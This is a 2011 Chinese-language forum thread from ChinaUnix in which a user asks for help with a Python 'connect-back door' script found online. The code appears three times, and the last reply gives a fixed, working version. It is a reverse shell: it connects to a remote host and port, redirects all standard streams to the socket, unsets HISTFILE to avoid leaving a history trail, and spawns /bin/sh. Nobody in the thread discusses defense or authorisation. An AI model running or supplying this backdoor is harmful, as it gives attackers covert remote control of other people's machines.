免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 2100 | 回复: 3
打印 上一主题 下一主题

帮忙分析下这段代码 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2011-03-15 17:38 |只看该作者 |倒序浏览
这是摘自网络的一段脚本
  1. #!/usr/bin/python
  2. import sys
  3. import os
  4. import socket
  5. import pty
  6. shell = "/bin/sh"
  7. def usage(programname):
  8. print "ython connect-back door"
  9. print "Usage: %s " % programname
  10. def main():
  11. if len(sys.argv) !=3:
  12. usage(sys.argv[0])
  13. sys.exit(1)
  14. s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  15. try:
  16. s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
  17. print "[+]Connect OK."
  18. except:
  19. print "[-]Can't connect"
  20. sys.exit(2)
  21. os.dup2(s.fileno(),0)
  22. os.dup2(s.fileno(),1)
  23. os.dup2(s.fileno(),2)
  24. global shell
  25. os.unsetenv("HISTFILE")
  26. os.unsetenv("HISTFILESIZE")
  27. pty.spawn(shell)
  28. s.close()
  29. if __name__ == "__main__":
  30. main()

复制代码
这是我自己简单的排版下,没有做过任何修改,只不过运行还是出错!看这段脚本意思实在吃力有些看不懂,谁方便的请分析解释下谢谢。
  1. #!/usr/bin/python
  2. import sys
  3. import os
  4. import socket
  5. import pty
  6. shell = "/bin/sh"
  7. def usage(programname):
  8.         print "python connect-back door"
  9.         print "Usage: %s " % programname
  10. def main():
  11.     if len(sys.argv) !=3:
  12.         usage(sys.argv[0])
  13.         sys.exit(1)
  14. s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  15. try:
  16.     s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
  17.     print "[+]Connect OK."
  18. except:
  19.     print "[-]Can't connect"
  20.     sys.exit(2)
  21.     os.dup2(s.fileno(),0)
  22.     os.dup2(s.fileno(),1)
  23.     os.dup2(s.fileno(),2)
  24.     global shell
  25.     os.unsetenv("HISTFILE")
  26.     os.unsetenv("HISTFILESIZE")
  27.     pty.spawn(shell)
  28.     s.close()
  29. if __name__ == "__main__":
  30.     main()
复制代码

论坛徽章:
0
2 [报告]
发表于 2011-03-15 21:12 |只看该作者
我认为这个程序有点问题:
16行应该是这样的:
s.connect((socket.gethostbyname(sys.argv[1]))
同时要注意:运行时应该在命令行,输入参数,如下:
python test.py www.google.com

论坛徽章:
0
3 [报告]
发表于 2011-03-16 14:26 |只看该作者
本帖最后由 flying_away 于 2011-03-16 14:50 编辑
  1. #!/usr/bin/python
  2. import sys
  3. import os
  4. import socket
  5. import pty
  6. shell = "/bin/sh"
  7. def usage(programname):
  8.     print "python connect-back door"
  9.     print "Usage: %s " % programname
  10. def main():
  11.     if len(sys.argv) !=3:
  12.         usage(sys.argv[0])
  13.         sys.exit(1)
  14.     s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  15.     try:
  16.         s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
  17.         print "[+]Connect OK."
  18.     except:
  19.         print "[-]Can't connect"
  20.         sys.exit(2)
  21.     os.dup2(s.fileno(),0)
  22.     os.dup2(s.fileno(),1)
  23.     os.dup2(s.fileno(),2)
  24.     global shell
  25.     os.unsetenv("HISTFILE")
  26.     os.unsetenv("HISTFILESIZE")
  27.     pty.spawn(shell)
  28.     s.close()
  29. if __name__ == "__main__":
  30.     main()
复制代码
应该是这样子的,执行的时候要输入域名和端口号
python 文件.py www.google.com 80

论坛徽章:
0
4 [报告]
发表于 2011-03-16 17:08 |只看该作者
回复 3# flying_away


    谢谢啊!!!兄弟
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP